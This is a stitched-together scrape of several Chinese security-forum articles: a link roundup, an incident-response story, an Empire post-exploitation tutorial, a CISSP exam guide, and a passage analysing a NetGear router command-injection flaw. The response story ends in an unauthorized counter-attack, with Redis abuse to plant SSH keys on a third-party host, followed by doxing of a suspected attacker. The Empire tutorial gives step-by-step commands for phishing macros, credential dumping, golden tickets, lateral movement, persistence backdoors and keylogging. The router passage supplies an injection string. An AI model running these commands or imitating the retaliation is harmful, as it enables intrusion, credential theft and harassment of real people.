<https://twitter.com/campuscodi/status/948989406332862464>
## 技术类
CPU Spectre信息泄露漏洞PoC
<https://www.exploit-db.com/exploits/43427/>
CPU meltdown漏洞PoC
<https://github.com/paboldin/meltdown-exploit>
性能VS安全？CPU芯片漏洞攻击实战(1) – 破解macOS KASLR篇
<https://weibo.com/ttarticle/p/show?id=2309404192549521743410>
Meltdown/Spectre漏洞的一些笔记
<http://blog.erratasec.com/2018/01/some-notes-on-meltdownspectre.html>
Android恶意软件偷取Uber凭证
<https://www.symantec.com/blogs/threat-intelligence/android-malware-uber-credentials-deep-links>
Facebook CSRF
<https://www.youtube.com/watch?v=3KwGmKucayg>
您的浏览器不支持video标签
Linksys WVBR0-25 – User-Agent命令执行
<https://www.exploit-db.com/exploits/43429/>
CVE-2017-17867: Iopsys路由器远程代码执行漏洞
<https://neonsea.uk/blog/2017/12/23/rce-inteno-iopsys.html>
Snort 2.9.11.1发布
<http://blog.snort.org/2018/01/snort-29111-has-been-released.html> | 社区文章 |
# 记一次反制追踪溯本求源
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
朋友说自己服务器巨卡，里边放了一堆项目资料,环境也集成一大堆,身为他bb，义不容辞，必须给他看看，本来以为挺简单的，给杀杀毒，清理一下文件就ok了，没想到搞了挺久，正好写这篇文章记录一下。
## 清除病毒
问了问朋友有没有下载啥东西，电脑上有没有什么搭建什么鬼东西，一律回复不知道，让我自己看，当场就想顺着3389过去给他个大嘴巴子。想了想算了，还得自己来，一手任务管理器，一眼看到几个可疑的powershell进程
可以看到PowerShell进程的占用率排在了最前面，不过无法确定PowerShell执行了什么命令，这时候可以使用WMIC查看进程执行时的命令行参数
参数释义：
Caption 进程名
CommandLine 命令行参数
ParentProcessId 父进程PID
Process 进程PID
可以看到PowerShell执行了一段经混淆的代码，一般正常程序都不会这么执行命令，市面很多有很多分析工具，使用火绒剑、ProcExp、ProcessHacker查看命令行参数也是都可以的
直接使用火绒剑结束该进程，之后powershell进程再次出现，那肯定是存在守护进程，刚刚结束的应该是个子进程，此时需要结束进程树才能彻底根除，找到powershell的父进程，结束进程树，防止挖矿程序再次启动
说一下怎么查找相关关联进程，可以使用wmic命令，找到相关进程
找到进程id 3616
找到进程id 3604
找到3500，这样即可找到相关关联进程
这里以火绒剑为例，查看进程，最下面5个PowerShell进程是PID为3652的PowerShell的子进程PID为1972的scvhost.exe是所有挖矿程序的父进程
直接结束进程树
清理工作完成。
## 审计日志
最重要的是怎么进来的，重点看了看RDP日志，打开安全日志（4624登录成功，4625登录失败），确实发现有登陆成功的日志
随即看了看注册表有没有新建账户，果然有个影子账户
随即删除账户，看了看启动项，就知道
删除启动项
查看计划任务
为了确保该进程与启动项一致，这里算了一下MD5值
certrutil -hashfile file MD5
同样全部删除，总算弄完了，之后在进程中我竟然发现了phpstudy….,没错，桌面没有图标，我就直接忽略了，草率了
反手拿了WebShellKiller对全局文件进行扫描
???没出来，找了个火绒病毒查杀也是一样的效果
我不太信，怎么可能没后门,直接在www目录下挨个翻文件，翻吐了快，在这里浪费了很久很久时间，终于找到了news.php，不点开看都不知道，免杀做的挺牛逼啊
清除掉后，收获免杀马一枚，随后查看web日志，在apache access.log、error.log两个日志文件中发现访问ip
xx.xx.xx.xx – – [14/Dec/2020:14:26:37 +0800] “POST /phpMyAdmin-4.8.1-all-languages/version_check.php HTTP/1.1” 200 28
xx.xx.xx.xx – – [14/Dec/2020:14:26:46 +0800] “POST /phpMyAdmin-4.8.1-all-languages/logout.php HTTP/1.1” 302 8637
xx.xx.xx.xx – – [14/Dec/2020:14:26:51 +0800] “GET /phpMyAdmin-4.8.1-all-languages/index.php HTTP/1.1” 200 3497
phpmyadmin的版本还是4.8.1的
刚开始以为是直接爆破进来的，此时一切都明了,谁会拒绝root/root,反正我不会，用脚趾头都能想到朋友不会设置复杂密码。
## 反查追踪
确认了入侵点，清理也已经完成，并且拿到了攻击ip，尝试溯源，打开微步
18年就被标记傀儡机，还是一台日本机子，够呛溯源找到攻击者，大概率是肉鸡，此时想到还有挖矿样本，先看看样本吧，把主程序放在沙箱跑一下，还有一个批处理文件，一个windows命令文件，其余的是无用混淆文件
Cmd1.bat 安装Networkss恶意服务，自启动start.cmd脚本，并将nat目录下所有文件权限修改为只读的隐藏系统文件。
start.cmd 启动挖矿主程序，访问矿池地址
svchost.exe 将自定义服务封装为系统服务
Systems.exe 挖矿主程序
样本名称 systems.exe
样本大小 3662336
MD5 4d8a76f89b0a68a6d5fc5b1b95257ec0
SHA1 d25a722636f2c1de313d481733b9c397925675eb
SHA256 eb1d6f905efcb27544c43e9107735a2160c3fa7180eff121a701dc6655ae0242
返回头再看看哪个肉鸡，用插件简单看了一下，发现6379开放，随即使用namp详细探测一下
nmap -A -p 6379 script redis-info + ip
直接尝试远程登录一下，居然能直接可以登录。。。
该你被抓鸡，你不当鸡谁当，在确认有未授权漏洞后，尝试利用，redis利用方式有
好几种
1> redis直接写入webshell,但是需要绝对路径，写入权限也要有
2> 写入ssh公钥文件使用私钥登录
3> 写入crontab计划任务反弹shell
4> 主从复制rce
这里使用第二种，因为之前探测发现ssh服务也是开启的
1、首先本地生成公私钥文件
ssh-keygen -t rsa
2、将密钥上传到目标主机redis
cat test.txt | redis-cli -h xx.xx.xx.xx -x set crackit
redis-cli -h xx.xx.xx.xx
config set dir /root/.ssh/
config get dir/
3、保存为authorized_keys
config set dbfilename “authorized_keys”
save
4、直接使用ssh登录成功
ssh -i id_rsa [email protected]
上去后先netstat看了一下，明晃晃的一个外连ip
定位到相关的pid进程，发现了外连地址，纯ip的
继续查看了有谁登录过这台主机,通过查看/var/log/wtmp日志
last /var/log/wtmp
根据windows被入侵日志时间段筛选了一遍，还真的在这个时间段找到了这个ip地址，用户是root，很大概率这个外连地址就是攻击者的真实服务器了
wangjy ? pts/9 ? ? ? xx.xx.xx.xx ?Thu Dec 17 10:15 ? still logged in ??
wangjy ? pts/8 ? ? ? xx.xx.xx.xx ?Thu Dec 17 09:56 ? still logged in ??
wangjy ? pts/7 ? ? ? xx.xx.xx.xx ?Thu Dec 17 09:32 – 10:44 ?(01:12) ? ?
root ? ? pts/5 ? ? ?xx.xx.xx.xx ? Thu Dec 17 09:30 – 10:20 ?(00:50) ? ?
root ? ? pts/4 ? ? ?xx.xx.xx.xx ? Thu Dec 17 09:30 – 10:20 ?(00:50) ?
Whois查询了一下ip
成功关联到了qq邮箱，运气真的好
直接搜索添加qq,一个SVIP9大佬,地点精确到某省市区
但是没有手机号,空间动态也看不到，把邮箱扔在reg007查了一遍，什么都没有
至此就收工了,也不知道找的目标人物到底准确不准确，之后就给朋友顺手装了360，火绒也没卸载，让他没事别瞎开服务。
## 总结
1、首先定位问题原因，确认中了木马
2、对进程，启动项，计划任务，后门，账户全部进行清除
3、通过审计主机、web日志定位入口点
4、反追踪拿到肉鸡权限，发现外连地址
5、溯源定位到具体人（不一定百分百是） | 社区文章 |
## **一、前言**
Empire是一个PowerShell后期漏洞利用代理工具同时也是一款很强大的后渗透测神器，它建立在密码学、安全通信和灵活的架构之上。Empire实现了无需powershell.exe就可运行PowerShell代理的功能。快速部署后期漏洞利用模块，从键盘记录器到Mimikatz，并且能够适应通信躲避网络检测，所有的这些功能都封装在一个以实用性为重点的框架中
## **二、empire使用详解**
### **1.Empire 的安装**
wget https://raw.githubusercontent.com/backlion/demo/master/Empire-master.zip
unzip Empire-master.zip
cd Empire-master
cd setup/
./install.sh
(最后输入数据库密码)
注意：新版本貌似有点小问题，我这里采用2015年旧版本可以正常使用.新版本命令有所改变。
重新恢复到初始状态：
root@backlion:/opt/Empire-master# cd setup/
root@backlion:/opt/Empire-master/setup# ls
root@backlion:/opt/Empire-master/setup#
### **2.简单命令使用**
cd Empire-master
./empire
> (Empire) > help #主菜单帮助命令
> (Empire) > listeners #查看本地监听代理地址，现在还没有会话代理,所以为空
> (Empire: listeners) > info #列出详细信息
> (Empire: listeners) > set Name bk #设置Name为bk
>
> (Empire: listeners) > execute #执行命令，这条命令将其name设置生效
> (Empire: listeners) > usestager launcher bk #调用posershell模块并, name为bk
> (Empire: agents) > interact USSZC2P1XCTBKYGH
>
> (Empire: USSZC2P1XCTBKYGH) > upload /tmp/test.hta #文件上传
>
> (Empire: USSZC2P1XCTBKYGH) > shell dir
> (Empire: USSZC2P1XCTBKYGH) > download test.hta #文件下载
代理监听IP地址更改：
通过kali下的SQLiteBrowser打开empire下data目录下的数据库empire.db修改监听IP
### **3.生成反弹shell代理：**
#### **3.1 posershell反弹shell代理**
> (Empire: listeners) > usestager（空格+tab） #查看usestager监听模块
> (Empire: listeners) > usestager launcher test
> #调用powershell模块，test为name名称,这里的name需要提前设置,否则无法导入模块
> (Empire: stager/launcher) > execute #执行命令
将上面生成的posershell命令在win7及系统以上执行：
执行命令后Empire端会显示监听成功：
#### **3.2 vbs反弹shell代理**
> (Empire: listeners) > usestager launcher_vbs test
> (Empire: stager/launcher_vbs) > execute #执行命令
将launcher.vbs拷贝到目标主机上执行：
执行命令后Empire端显示监听成功：
> (Empire: stager/launcher_vbs) > execute
#### **3.3 钓鱼宏代理**
在empire端执行：
(Empire: listeners) > usestager macro bk
(Empire: stager/macro) > info
(Empire: stager/macro) > execute
root@backlion:~#cat /tmp/macro
将生产的代码复制创建到execl的宏代码中：
这里是将保存为execl2003的文档并执行：
### **4.代理界面的命令使用**
> (Empire: stager/launcher_vbs) > agents
> #查看代理情况，带有（*）的是已被提升过的代理，可通过bypassuac进行提权
> (Empire: agents) > rename EEDLABPF43FAGWHZ DC #重新命名代理名
> (Empire: agents) > list #列出代理
> (Empire: agents) > list stale #列出已丢失反弹代理
> (Empire: agents) > remove stale #删除已丢失反弹代理
>
> (Empire: agents) > list
> (Empire: agents) > interact Y1DMVFG4CGKB24KP
> #进入到某个代理主机中，这里注意的是带有*的用户名对应的代理是具有管理员高权限代理。如果是没有需要提权。
> (Empire: Y1DMVFG4CGKB24KP) > help #代理界面的命令使用帮助
> (Empire: TKRTTL2V3BNRVDK4) > mimikatz #加载mimikatz获取hash
> (Empire: TKRTTL2V3BNRVDK4) > creds #查看所有hash值包括明文
> (Empire: DGPWHW4E2Z2NT3PL) > creds krbtgt #搜索特定用户的krbtgt
> (Empire: DGPWHW4E2Z2NT3PL) > creds plaintext #搜索hash中的明文
> (Empire: DGPWHW4E2Z2NT3PL) > creds hash #列出所有hash值（不包括明文）
> (Empire: DGPWHW4E2Z2NT3PL) > creds export /opt/hash.csv #导出hash凭证到指定的格式
root@backlion:/opt# cat hash.csv
> (Empire: TKRTTL2V3BNRVDK4) > shell ipconfig #查看IP地址
>
> (Empire: TKRTTL2V3BNRVDK4) > shell net localgroup administrators #查看管理员组
> (Empire: TKRTTL2V3BNRVDK4) > back #返回上一层
### **5.模块化使用案列：**
#### **5.1检查UAC提权方法模块**
> (Empire: agents) > interact P2V4CXEGRPHUD43T #进入到代理主机
>
> (Empire: P2V4CXEGRPHUD43T) > usemodule（空格+tab键）
> #查看usemodule的模块，注意需要在进入到代理主机才能使用该模块,UAC提权需要是管理员组的用户才行
> (Empire: P2V4CXEGRPHUD43T) > usemodule privesc/powerup/allchecks #检查提权方法模块
> (Empire: privesc/powerup/allchecks) > execute #执行检查
> (Empire: privesc/powerup/allchecks) > back #返回上一命令界面
#### **5.2 UAC提权模块**
> (Empire: P2V4CXEGRPHUD43T) > bypassuac test
> #执行uac提权，这里的test就是默认的name,可以自定义，貌似有问题，建议默认就可以了。
> (Empire: P2V4CXEGRPHUD43T) > agents
> #查看到提权后UAC的name对应主机（带有*的用户的name,表示代理已提权过）
> (Empire: agents) > interact P2V4CXEGRPHUD43T #进入提权后的的uac主机
>
> (Empire: P2V4CXEGRPHUD43T) > ps #查看进程
#### **5.3 本地管理组访问模块**
> (Empire: HPEUGGBSPSAPWGZW) >usemodule
> situational_awareness/network/find_localadmin_access #加载本地管理组访问模块
>
> (Empire: situational_awareness/network/find_localadmin_access) > info #查看信息
> (Empire: situational_awareness/network/find_localadmin_access) > execute
> #执行命令
> (Empire: situational_awareness/network/find_localadmin_access) > back
> #返回上一命令界面
#### **5.4用户账号枚举信息**
(Empire: HPEUGGBSPSAPWGZW) > situational_awareness/network/get_use
(Empire: situational_awareness/network/get_user) > set UserName bk
(Empire: situational_awareness/network/get_user) > set Domain bk.com
(Empire: situational_awareness/network/get_user) > execute #这里可以累出具体某个用户的信息
#### **5.5网络用户会话登录情况**
(Empire: HPEUGGBSPSAPWGZW) >usemodule situational_awareness/network/userhunter
(Empire: situational_awareness/network/userhunter) > info
(Empire: situational_awareness/network/userhunter) > execute #这里可以清楚得到那个用户登录给某台主机
#### **5.6 网络扫描**
(Empire: HPEUGGBSPSAPWGZW) > shell ping -a -n 1 192.168.99.104 #这里ping管理员登录过的会话IP地址所得到主机名
(Empire: HPEUGGBSPSAPWGZW) > usemodule situational_awareness/network/arpscan
(Empire: situational_awareness/network/arpscan) > info
(Empire: situational_awareness/network/arpscan) > set Range 10.0.0.100-10.0.0.254
(Empire: situational_awareness/network/arpscan) > info
(Empire: situational_awareness/network/arpscan) > execute
#### **5.6 DNS信息获取**
(Empire: situational_awareness/network/arpscan) >usemodule situational_awareness/network/reverse_dns
(Empire: situational_awareness/network/reverse_dns) > info
(Empire: situational_awareness/network/reverse_dns) > execute
#### **5.7 共享文件**
(Empire: situational_awareness/network/reverse_dns) >usemodule situational_awareness/network/sharefinder
(Empire: situational_awareness/network/sharefinder) > info
(Empire: situational_awareness/network/sharefinder) > set CheckShareAccess True
(Empire: situational_awareness/network/sharefinder) > execute
#### **5.8 会话令牌偷取获取目标访问权限**
(Empire: agents) > interact S4DU3VSRKR3U1DDF
(Empire: S4DU3VSRKR3U1DDF) > ps cmd
(Empire: S4DU3VSRKR3U1DDF) > steal_token 3716
(Empire: S4DU3VSRKR3U1DDF) > shell dir \\SCAN03\c$
#### **5.9 psexec模块横向生成一个反弹代理**
(Empire: S4DU3VSRKR3U1DDF) > usemodule lateral_movement/invoke_psexec
(Empire: lateral_movement/invoke_psexec) > info
(Empire: lateral_movement/invoke_psexec) > set Listener test
(Empire: lateral_movement/invoke_psexec) > set ComputerName SCAN03
(Empire: lateral_movement/invoke_psexec) > execute
Empire: lateral_movement/invoke_psexec) > agents
#### **5.10 会话注入得到反弹代理**
(Empire: agents) > interact YU3NGBFBPGZTV1DD
(Empire: YU3NGBFBPGZTV1DD) > ps cmd
(Empire: YU3NGBFBPGZTV1DD) > usemodule management/psinject
(Empire: management/psinject) > info
(Empire: management/psinject) > set ProcId 6536 #注入进程建议是lass.exe对应的进程
(Empire: management/psinject) > set Listener test
(Empire: management/psinject) > execute
(Empire: management/psinject) > agents
#### **5.11 Empire和msf的联动**
**在empire终端执行：**
(Empire: agents) > interact XCLLHZZPAWPN1REL
(Empire: XCLLHZZPAWPN1REL) > usemodule code_execution/invoke_shellcode
(Empire: code_execution/invoke_shellcode) > info
(Empire: code_execution/invoke_shellcode) > set Lhost 10.0.0.86
(Empire: code_execution/invoke_shellcode) > set Lport 4433
(Empire: code_execution/invoke_shellcode) > execute
**在msf终端执行(这里和empire同一个主机上）**
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lhost 10.0.0.86
msf exploit(handler) > set lport 4433
msf exploit(handler) > set exitsession false
msf exploit(handler) > exploit -j
#### **5.12 pass the hash**
(Empire: XCLLHZZPAWPN1REL) > creds
(Empire: XCLLHZZPAWPN1REL) > pth 7 #进入到令牌pth的cerdiD值
(Empire: XCLLHZZPAWPN1REL) > steal_token 12004 #偷取令牌PID值
(Empire: XCLLHZZPAWPN1REL) > dir \\SCAN03\c$ #利用获取到目标令牌会话来访问目标权限的共享目录
(Empire: XCLLHZZPAWPN1REL) > revtoself #将恢复令牌权限回到原来的状态。
#### **5.13 psexec横向渗透**
(Empire: HPEUGGBSPSAPWGZW) > usemodule lateral_movement/invoke_psexec #使用该模块横向渗透
(Empire: lateral_movement/invoke_psexec) > info
(Empire: lateral_movement/invoke_psexec) > set ComputerName SCAN03.bk.com
(Empire: lateral_movement/invoke_psexec) > set Listener test
(Empire: lateral_movement/invoke_psexec) > execute
#### **5.14 域的krbtgt值**
(Empire: EEDLABPF43FAGWHZ) > usemodule credentials/mimikatz/dcsync #获取域的krbtgt值，这里注意的是域需要域管理员身份才能获取，普通工作组账户的krbtgt需要管理员身份
(Empire: credentials/mimikatz/dcsync) > set user dc2\krbtgt
(Empire: credentials/mimikatz/dcsync) > info
(Empire: credentials/mimikatz/dcsync) > execute
#### **5.15 Golden Tickets**
(Empire: EEDLABPF43FAGWHZ) > usemodule credentials/mimikatz/golden_ticket
(Empire: credentials/mimikatz/golden_ticket) > creds
(Empire: credentials/mimikatz/golden_ticket) > set CredID 1
(Empire: credentials/mimikatz/golden_ticket) > set user administrator
(Empire: credentials/mimikatz/golden_ticket) > execute
(Empire: credentials/mimikatz/golden_ticket) >usemodule credentials/mimikatz/purge #清理黄金票据会话
(Empire: credentials/mimikatz/golden_ticket) > execute
#### **5.16 获取系统日志事件**
(Empire: situational_awareness/network/reverse_dns) >usemodule situational_awareness/host/computerdetails
(Empire: situational_awareness/host/computerdetails) > info
(Empire: situational_awareness/host/computerdetails) > execute
#### **5.17 收集目标主机有用的信息**
(Empire: agents) > interact EEDLABPF43FAGWHZ
(Empire: EEDLABPF43FAGWHZ) > usemodule situational_awareness/host/winenum
(Empire: situational_awareness/host/winenum) > info
(Empire: situational_awareness/host/winenum) > info
#### **5.18 查看网络共享**
(Empire: EEDLABPF43FAGWHZ) >usemodule situational_awareness/network/stealth_userhunter
(Empire: situational_awareness/network/stealth_userhunter) > info
(Empire: situational_awareness/network/stealth_userhunter) > execute
#### **5.19 桌面截屏**
(Empire: USSZC2P1XCTBKYGH) > usemodule collection/screenshot
(Empire: collection/screenshot) > info
(Empire: collection/screenshot) > execute
(Empire: collection/screenshot) > usemodule collection/keylogger
(Empire: collection/keylogger) > info
(Empire: collection/keylogger) > execute
#### **5.20 权限持久性的注册表注入**
(Empire: EEDLABPF43FAGWHZ) > usemodule persistence/userland/registry
(Empire: persistence/userland/registry) > info
(Empire: persistence/userland/registry) > set Listener bk
(Empire: persistence/userland/registry) >set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
(Empire: persistence/userland/registry) > execute
#### **5.21 权限持久性的计划任务注册**
在empire上执行计划任务：
(Empire: WC1PKXFTA4KNTFN4) > usemodule persistence/userland/schtasks
(Empire: persistence/userland/schtasks) > info
(Empire: persistence/userland/schtasks) > set Listener bk
(Empire: persistence/userland/schtasks) > set DailyTime 05:00
(Empire: persistence/userland/schtasks) >set RegPath HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
(Empire: persistence/userland/schtasks) > execute
同时在目标主机上查看计划任务和注册表情况可以看到成功创建：
#### **5.22 权限持久性的AD用户是否存在触发**
(Empire: AG2RV3CFLLY4PZZ4) > usemodule persistence/powerbreach/deaduser
(Empire: persistence/powerbreach/deaduser) > info
(Empire: persistence/powerbreach/deaduser) > set Username DC2\test
(Empire: persistence/powerbreach/deaduser) > set Listener bk
(Empire: persistence/powerbreach/deaduser) > execute
只要AD域管理员上修改用户名或者删除用户名就会触发生产后门，这里是将test用户修改为bk，马上触发条件。
#### **5.21权限持久性劫持shift后门**
(Empire: ASMR14VVZG4A33AE) > usemodule lateral_movement/invoke_wmi_debugger
(Empire: lateral_movement/invoke_wmi_debugger) > info
(Empire: lateral_movement/invoke_wmi_debugger) > set Listener bk
(Empire: lateral_movement/invoke_wmi_debugger) > set TargetBinary sethc.exe
\#注意这里可以将sethc.exe替换为Utilman.exe（快捷键为: Win + U）或者osk.exe（屏幕上的键盘Win + U启动再选择）Narrator.exe (启动讲述人Win + U启动再选择) Magnify.exe(放大镜Win + U启动再选择）
(Empire: lateral_movement/invoke_wmi_debugger) > set ComputerName CLINCET2
(Empire: lateral_movement/invoke_wmi_debugger) > execute
在目标主机上远程登录的时候按5次shift即可触发后门代理
### **6.子域和父域的信任跳转**
1. lab.local和dev.lab.local分别为父域和子域，现已得到子域的反弹代理。
2. 在子域上通过：
usemodule
situational_awareness/network/powerview/get_domain_trust模块来检查子域和父域的信任关系（dev.lab.local
和他的父域lab.local是双向信任，子域的DA证书来控制整个域）
1. 得到父域lab.local的LAB\krbtg账号sid值，这里使用模块
usemodule management/user_to_sid,并设置域，以及用户名
4.通过模块usemodule credentials/mimikatz/dcsync获取子域账号krbtgt的hash值，这里只需设置子域账号即可
5.通过creds krbtget 搜索子域krbtget的hash值：
6.通过黄金票据来伪造（usemodule
credentials/mimikatz/golden_ticket）父域lab.local\Enterprise管理员账号，这里需要设置伪造的用户为子域中的一个普通账号，设置sids为父域krbtget的sid值需要把后面的502改成519,最后执行
7.通过模块usemodule
credentials/mimikatz/dcsync获取父域账号krbtgt的hash值，这里只需设置子域账号，以及父域的名称
8.再次通过creds krbtgt搜索出hash 值可得到父域的hash值：
9.子域具有访问父域的共享文件权限
(Empire: DGPWHW4E2Z2NT3PL) >usemodule credentials/mimikatz/golden_ticket t
(Empire: DGPWHW4E2Z2NT3PL) > set CredID 14
(Empire: DGPWHW4E2Z2NT3PL) > set user lolhax
(Empire: DGPWHW4E2Z2NT3PL) >set sids 95505cle3d98a458128845353b988
(Empire: DGPWHW4E2Z2NT3PL) >execute
## **三、emprie总结**
通过一系列学习emprie功能，它可以联动MSF进行更为强大的后渗透测试，甚至包括强大的权限持久性以及对域的渗透丰富功能模块。 | 社区文章 |
2017年12月19日，在上海黄浦区汉口路亚洲大厦17层通过了CISSP认证考试，拖拉了一年，终于成绩还算令人满意，为攒人品将自己一年多的复习心得和大家分享，希望能够帮到需要考证的朋友。
先简单介绍下本人专业背景吧，本科和硕士专业都是信息安全，算得上科班出生，只是学校里的课程没学扎实，基础一般，毕业后在某大型金融机构做安全，渗透、漏扫、SOC建设大概做了4年，日常的工作和安全技术还是结合得比较紧密，平时也混迹在各大src，打打ctf，动手能力还行，是广大安全从业人员中的普通一员。
### CISSP介绍
CISSP 英文全称：“ Certified Information Systems Security
Professional”，中文全称：“(ISC)²注册信息系统安全专家”，由(ISC)²组织和管理，是目前全球范围内最权威，最专业，最系统的信息安全认证。
CISSP的含金量和认可度还是很高的，考试费用也不菲，599刀，涉及的内容非常广泛，号称安全界的“百科全书”，不过虽然涉及的范围广，但很多都是点到为止，
“一英里宽，一英寸深”，这是CISSP最大的特点。
为什么考CISSP？用我们领导的话说，可以迅速建立起个人对安全体系的知识框架，认证+读行业标准是最有效的方法。
### CISSP复习攻略
决定了考CISSP之后就要尽快的解决战斗，拖的时间越长越对生活有影响，最好在半年内完成复习和考试，本人这次因为种种原因，拖了一年，深刻感受到战线过长的痛苦。
我的复习材料：All in One的第六版中文版+OSG官方学习指南中文版+官方习题英文版
All in one前前后后看了3遍，OSG看了2遍，这两本教材内容基本差不太多，all in
one讲的比较细，比较啰嗦，OSG和考纲结合得比较紧，内容也比较紧凑，建议大家直接看OSG即可，但务必要多读几遍，对书中的知识点都要弄懂。
CISSP现在最新的考纲包括8个CBK：
• 安全与风险管理 (安全、风险、合规、法律、法规、业务连续性)
• 资产安全 (保护资产的安全性)
• 安全工程 (安全工程与管理)
• 通信与网络安全 (设计和保护网络安全 )
• 身份与访问管理 (访问控制和身份管理 )
• 安全评估与测试 (设计、执行和分析安全测试)
• 安全运营 (基本概念、调查、事件管理、灾难恢复)
• 软件开发安全 (理解、应用、和实施软件安全)
之所以称之为安全界的“百科全书”，是因为上述8个领域基本涵盖了安全工作中的所有方面，个人在安全评估与测试、安全运营这两个领域有一些实际的经验，其他的领域接触得还不深，所以在复习的时候，针对不熟悉的领域花更多的时间去理解，不懂的多去百度，有的时候百度讲的比教材里更清楚。一定要做笔记，不然书中很多看完就忘了，做笔记可以加深印象。如果有钱，还可以去报辅导班，让辅导老师给你先拎一下复习大纲。
书看完之后可能没有什么感觉，一定要做题，仅仅做书中每个章节的习题是不够的，all in
one的习题比较难，OSG的习题比较简单，建议大家还是做官方的习题集，毕竟是官方出的习题，应该是和考试最接近的材料了，不过现在只有英文版的，对于英语一般的朋友可能做起来比较吃力，加之之前看的中文版，很多专有术语都得和英文对上，我在做题的时候也是比较痛苦。官方习题里面很多题目是把官方教材里的某句话的内容扣掉，让你选择，所以做题加看书能够起到很到的看书效果
### 考试技巧
CISSP考试最大的特点是没题库可以背。考试里面直接考概念和定义的题目很少。大量场景题，比如给你一段文字描述，说某企业面临了XX问题，问你最佳解决思路是什么。如果没有在安全行业做上几年的经历，很容易被选项的文字迷惑。还有就是大量的优中选最优的问题，往往四个答案都对，需要选出最佳的答案，这个时候就需要把自己当成CSO去考虑安全问题。
考试时间6个小时，大家一定要做好充分的准备，巧克力、红牛、干粮、水都得带足，中间状态不太好的时候可以出来补充能量。时间一般肯定够，所以大家不用特别着急，细心去审题，遇到有问题的可以打个标记跳过，说不定后面的题目会给你带来做题思路。
多用排除法，有些题目可以迅速排除2个选项，剩下的两个自己拿捏一下，往往正确率还可以。考试现在有中文的，翻译一般没啥问题，但是有的可能还是得看一下英文，往往看完英文会更好的理解题目的意思。
考试环境一般都是可以的，这次考试和我同一时间的好多都是考GMAT的学生，考试中心给我单独安排了一个单间，还送了耳塞，考试环境很安静，很nice。
最后，不要怕，不过是一个考试而已。套用到实际工作中去，很多题不知道怎么选，我就想象放到我们公司我会怎么做。祝大家都能够通过CISSP考试，我的一些复习材料（考试机构的复习题、中英文教材，思维导图）放在百度云盘：<https://pan.baidu.com/s/1hr3dwLu>
a74r分享给大家，给我的这次备考画上句号。 | 社区文章 |
# 【技术分享】NetGear多款路由器远程命令注入漏洞分析(更新补丁分析)
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **k0pwn_ko**
****](http://bobao.360.cn/member/contribute?uid=1353169030)
**预估稿费：600RMB（不服你也来投稿啊！）**
********投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿****
**0x01 前言**
前两天NTP刚搞完事情，NetGear路由器(网件路由器)又来搞事了T.T。目前CERT在上周五已发布公告，“如果用户使用涉及到的路由器，建议停止使用，直到官方发布补丁修复”。此漏洞是由Acew0rm发现的，之后报给NetGear，今天，他又在Twitter上上传了关于这个漏洞利用的视频。
同时也发布了一个Exploit地址，有两个，一个是嵌入html的利用，另一个是比较直接的利用，当然，需要获取路由器的IP地址。
[https://github.com/Acew0rm/Exploits/blob/master/Netgear_R7000.html](https://github.com/Acew0rm/Exploits/blob/master/Netgear_R7000.html)
[https://www.exploit-db.com/exploits/40889/](https://www.exploit-db.com/exploits/40889/)
但实际上，这个漏洞影响的路由版本，远不止现在曝光的这么少，目前曝光的是R6400，R7000版本，后来CERT又曝光了R8000版本。我看了此漏洞公开后，下面有很多在使用NetGear路由的老外在聊天，其中总结了一下受漏洞影响版本的路由。
l R6400 (AC1750): confirmed
l R7000 Nighthawk (AC1900, AC2300): confirmed (by myself)
l R7500 Nighthawk X4 (AC2350): confirmed (by [2])
l R7800 Nighthawk X4S(AC2600): confirmed (by [2])
l R8000 Nighthawk (AC3200): confirmed
l R8500 Nighthawk X8 (AC5300): confirmed (by [2])
l R9000 Nighthawk X10 (AD7200): confirmed (by [2])
l R6250
l R6700
几乎所有R系列的路由都受此漏洞影响，当然有一些R系列路由虽然受影响，但因为固件的不同，部分固件是不受此漏洞影响的。
目前此漏洞未提供补丁，官方在Twitter上的回复是正在抓紧时间修复此漏洞，因此应该还有不少设备受漏洞影响。
开始分析前，感谢Spongebobb在微博上和我的讨论，让我从莫名其妙的脑洞中跳转出来，23333。
**
**
**0x02 检测方式**
浏览器访问路由器地址：
http://[router-address]/cgi-bin/;uname$IFS-a
如果返回的页面是错误或者非空的，那么该路由器可能存在这个漏洞。
**
**
**0x03 为了分析我掉到了好几个坑里**
在昨天看到这个漏洞曝光后，我下载了对应版本的固件【_R7000-V1.0.7.2_1.1.93.chk】，分析的过程中当然碰到了不少坑，这里稍微总结一下。
关于这个漏洞，主要问题发生在/usr/sbin/httpd里，但在/www/cgi-bin/下也有一个可执行文件genie.cgi，其中也履行了CGI程序的部分功能，刚开始我比较坚定的认为在genie.cgi中，也找到了比较有趣的调用位置。
v6 = getenv("QUERY_STRING");
ptr = (void *)sub_A304(dword_1385C);
if ( ptr )
{
v0 = sub_9560((int)v6);
if ( v0 != -1 )
{
sub_9C78(v0);
v4 = 0;
sub_ABAC(0xB348, &v4, &v3);
}
}
这里调用getenv获取了QUERY_STRING环境变量，这个变量就是通过GET方法接收到URL中参数的时候，会获取参数，并且给QUERY_STRING赋值，这个setenv赋值过程是在httpd中完成的，genie.cgi只负责getenv。而随后这里调用了一个函数sub_ABAC，跟入这个函数，我发现了在这个程序中唯一一次会调用到系统函数的位置。
.text:0000ABAC STMFD SP!, {R11,LR}
.text:0000ABB0 ADD R11, SP, #4
.text:0000ABB4 SUB SP, SP, #0x420
.text:0000ABB8 STR R0, [R11,#command]
.text:0000ABBC STR R1, [R11,#var_414]
.text:0000ABC0 STR R2, [R11,#var_418]
.text:0000ABC4 LDR R0, [R11,#command] ; command
.text:0000ABC8 MOV R1, #aR_0 ; modes
.text:0000ABD0 BL popen
popen可以执行系统函数，正是符合我们exp中的条件，但是却失落的发现，这里传递的值是sub_ABAC函数第一个参数，也就是0xB348，这是一个常量。
.rodata:0000B348 aInternetSetCon DCB "internet set connection genieremote 1",0
